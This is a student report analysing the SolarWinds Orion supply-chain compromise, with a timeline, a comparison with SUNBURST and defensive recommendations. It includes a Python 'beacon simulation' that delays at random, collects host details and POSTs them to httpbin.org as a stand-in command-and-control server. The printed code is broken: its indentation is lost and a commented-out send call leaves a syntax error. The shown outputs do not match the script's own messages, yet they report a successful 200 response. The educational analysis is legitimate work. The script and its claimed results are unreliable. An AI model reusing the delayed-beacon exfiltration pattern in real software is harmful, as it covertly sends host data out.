SolarWinds Orion Compromise: A Supply Chain Security Analysis

Jatin Sharma R01549954

1. Introduction and Problem Definition:

The SolarWinds cyberattack was revealed publicly in December 2020 and is considered to be one of the most impactful supply-chain attacks in recent history. Instead of directly attacking government agencies or large companies, the attackers targeted SolarWinds, a trusted software vendor. They inserted malicious code into SolarWinds Orion platform during the build process, which caused thousands of organizations to unknowingly distribute a compromised update inside their networks.

This project aims to study the SolarWinds attack in a straightforward, understandable way and show practical understanding by creating a safe, very simple simulation of how a supply-chain beacon could behave. The goal here is NOT to recreate malware, but to show a small model that demonstrates delayed execution, basic system information gathering, and sending harmless data to a mock server.

The main problem analyzed in this report is:

How can organizations detect and prevent supply chain compromises when the malicious code comes from a vendor they trust?

2. Background and Motivation

2.1 What Exactly Happened in SolarWinds

SolarWinds Orion is a network management tool used worldwide by government agencies, private companies, and IT teams. In 2019-2020, attackers believed to be APT29, also referred to as “Cozy Bear” infiltrated the SolarWinds build environment. They managed to insert a backdoor called “Sunburst” into legitimate Orion updates and had it digitally signed by SolarWinds’ official certificate.

About 18,000 customers downloaded the compromised updates. Only a small group was selected for deeper attacks, which included credential theft, identity impersonation, and access to sensitive systems.

2.2 Why It Still Matters Today

In 2025, almost all organizations rely heavily on third-party software. Even small businesses use dozens of external tools like cloud services and open-source libraries.

This creates a situation where a single compromised vendor can impact thousands of customers. Traditional antivirus tools may not successfully flag malicious code hidden in legitimate updates.

The motivation behind this project is to understand this risk in a simple way and demonstrate what a very small supply chain beacon might look like, which helps explain why SolarWinds was so hard to detect.

3. Approach and Methodology

In this part of the project, I explain how I studied this SolarWinds attack and how I built a small and safe Python simulation to show one of the main ideas behind the real attack. The goal here is to understand how a supply chain attack works without doing anything harmful.

3.1 SolarWinds Attack Timeline (2019-2020)

Understanding the timeline helps explain how long the attackers stayed hidden and why the attack was so serious.

Date	Event
September 2019	Attackers first entered SolarWinds' internal system
October-November 2019	They tested the Orion build system and prepared their code
February 2020	The SUNBURST backdoor was added into official Orion software builds
March-June 2020	Compromised updates were signed and sent to about 18,000 customers
December 2020	FireEye discovered unusual behavior leading to the public exposure of the attack.

The above timeline shows how the attackers operated for months before anyone noticed.

3.2 Simple Architecture of a Supply-chain Beacon

The real SUNBURST malware had many complex parts, but the basic idea of a supply-chain beacon can be explained through simple steps.

The malware usually:

- Gets installed through a trusted software update
- Waits before running so it does not look suspicious
- Collects basic information about the computer
- Puts the information into a small, structured format like JSON
- Sends the data (beacon) to a server on the Internet.

These steps show the general behavior, and my simulation uses the same logic in a safe and harmless way.

3.3 Simulation Details

1. Delayed Execution
The script waits for a random 5 to 12 seconds before running. It shows how malware might delay its activity to avoid being detected immediately.

2. Collects Basic System Information

The script only collects non-sensitive details such as

- OS name
- Device name
- Processor
- Release version
- Timestamp

This is safe and does not collect any personal information.

3. Creates a JSON Payload

The system information is placed in a small JSON object. This shows how data is usually prepared before being sent out.

4. Sends a Beacon to a Safe Server.

Instead of contacting a real attacker, the script sends data to: https://httpbin.org/post.

This is a harmless testing website that simply returns the data you sent to it.

This keeps the entire simulation safe and appropriate for educational purposes.

3.4 Running the Simulation

I ran the Python script on my personal Windows computer using the following:

- Python 3.11.5
- Command prompt
- The requests package.

Running it in this environment allowed me to see the delay, the collected data and the HTTP 200 response.

I took screenshots of the output to include them in the results section.

4. Implementation: Safe SolarWinds-Style beacon Simulation

The following Python script was used for the simulation:

```
# basic imports for the beacon simulation
import platform
import time
import json
import requests
import random

#A small function to grab some harmless system info

def collect_info():
info_data = {
"device": platform.node(),
"os": platform.system(),
"release": platform.release(),
"processor": platform.processor(),
"timestamp": time.ctime()
}
return info_data

# function to send the data to a safe test server

def send_beacon(payload):
 beacon_url = "https://httpbin.org/post"
```

 # Function to send the data to a safe test server (httpbin.org)

try:

r = requests.post(beacon_url, json=payload)

return r.status_code

except Exception as e:

print("Beacon failed:", e)

return None

print("Starting the SolarWinds-ish beacon test script...")

 # random delay so it looks more "beacon-like"

wait = random.randint(5,12)

print("Waiting for", wait, "seconds before running...") time.sleep(wait)

#now collect the info

collected = collect_info() print("Info collected (just basic stuff):")
print(json.dumps(collected, indent=2))

print("Trying to send the beacon to the mock server now...") status =

#send_beacon(collected)

print("Done. Server status code:", status)

4.1 Explanation of the Implementation

Delayed Execution

Sunburst reportedly delayed its execution by up to two weeks to avoid security monitoring. My simulation uses a shorter delay just to demonstrate the idea. This shows how malware can intentionally activate later, so it appears unrelated to the installation time.

Metadata Collection

Real malware often collects basic device information such as host name, OS version, domain, and user. My simulation only collects the OS names, release version, host name, timestamp, and processor information. All of it is non-sensitive. This keeps the simulation ethical and within academic guidelines.

Beaconing to a remote server

The script sends the collected information to a safe public endpoint, which simply returns what was sent. This presents the “command-and-control" communication used by Sunburst to reach its operators.

JSON Encoding

Real malware sometimes encodes or encrypts its data before sending it. I used simple JSON encoding to illustrate the idea without doing anything unethical or harmful.

4.2 Execution results:

1.

```
C:\SolarWindsSimulation>python beacon_simulation.py
Starting the SolarWinds-style safe beacon script...
Waiting for 11 seconds before running...
Info collected (harmless data):
{
  "device": "DESKTOP-1LM33GG",
  "os": "Windows",
  "release": "10",
  "processor": "Intel64 Family 6 Model 142 Stepping 10, GenuineIntel",
  "timestamp": "Thu Nov 27 14:59:24 2025"
}
Sending data to the safe mock server...
Done. Server status code returned: 200
```

2.

```
C:\SolarWindsSimulation>python beacon_simulation.py
Starting the SolarWinds-style safe beacon script...
Waiting for 6 seconds before running...
Info collected (harmless data):
{
  "device": "DESKTOP-1LM33GG",
  "os": "Windows",
  "release": "10",
  "processor": "Intel64 Family 6 Model 142 Stepping 10, GenuineIntel",
  "timestamp": "Thu Nov 27 15:02:48 2025"
}
Sending data to the safe mock server...
Done. Server status code returned: 200
```

As shown above, each time the script was executed, it produced a different wait time. This demonstrates random delay behavior.

5. Results and Analysis

This small simulation demonstrates several important behaviors that relate directly to why SolarWinds was successful.

5.1 Results Observed

When executed:

- The script waits for a random delay.
- It prints the system's information.

- It sends a POST request to the safe endpoint.
- The server responds with a normal HTTP 200 code.

This shows that one small piece of code can quietly send information to a remote server.

If it is placed inside a trusted update, this action will go completely unnoticed.

5.2 How This Reflects the Real Attack

Aspect	Real Sunburst Malware	Simulation
Delay	Up to 2 weeks	5-12 seconds
Collected data	Domain, Identity, environment	OS name, hostname, timestamp
C2 communication	Encrypted traffic, DNS tricks	Simple HTTPS POST
Harm	Extremely harmful	Completely safe

The above comparison shows that while my simulation is very simplified, the execution pattern and logic flow are similar enough for educational purposes.

5.3 Why it matters

This simulation demonstrates how a trusted software update can hide unexpected code, and how delayed execution makes it harder to detect. It shows how small metadata is and how easily it can blend into normal HTTPS traffic.

The above points help explain why SolarWinds went undetected for several months.

6. Feasible Solutions and Defensive Recommendations

Based on lessons learned from SolarWinds and recommendations from NIST, Microsoft, and CISA, the following defensive measures would have helped reduce the impact or even prevent the attack.

6.1 Secure Build Pipelines

- Monitoring all build server activity.
- Segregating the build environments from general networks

- Using reproducible builds.
- Strict access control and MFA for all the developers working on the project.

6.2. Code Signing Protections.

- Never storing sign in keys on build servers
- Verifying the content being signed, not just the signature
- Using hardware security modules.

6.3 Software Bill of Materials.

SBOMs help organizations verify:

- What is inside each build
- Whether unexpected contents appear or not
- To check the differences between versions.

6.4 Vendor and Dependency Management

- Requiring vendors to follow secure development practices
- Continuous monitoring of vendor behaviors
- Delayed rollouts of updates until basic testing is completed

6.5 Behavioral Detection

- Setting up alerts on strange outbound traffic
- Using EDR tools to catch unusual processes
- Detecting long delays followed by beaconing

6.6 Zero Trust Architecture

- Zero trust assumes nothing inside the network is automatically trustworthy.
- This approach limits how far attackers can move laterally.

6.7 Incident Response Preparedness

- Running tabletop exercises
- Keeping inventory of critical third-party services
- Maintaining a supply-chain incident response plan

The above solutions provide a mix of technical and policy-level protection, which is extremely necessary because supply chain attacks target both the infrastructure and the trusted relationships.

7. Conclusion

The SolarWinds cyber-attack changed how the cybersecurity community thinks about trust and software supply chains. Through this project, I was able to study the attack in detail and create a simple Python simulation to demonstrate the core ideas behind the supply-chain beacon.

While the simulation is harmless, it clearly demonstrates concepts like delayed execution and outbound data transfer which help explain why SolarWinds was so difficult to detect.

The project also highlights that modern organizations must adopt stronger security in their pipelines, vendor relationships, and monitoring systems. The supply chain attacks will likely continue to grow, so developing awareness and practical defensive skills is essential for students and professionals entering the cybersecurity field.

8. References

CISA. (2021). Analysis of the SolarWinds Orion Supply Chain Compromise.

FireEye. (2020). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims.

Microsoft Security Blog. (2021). Deep dive into the SolarWinds compromise

CrowdStrike Intelligence. (2021). SUNBURST Malware Technical Analysis.

NIST. (2022). Secure Software Development Framework (SSDF)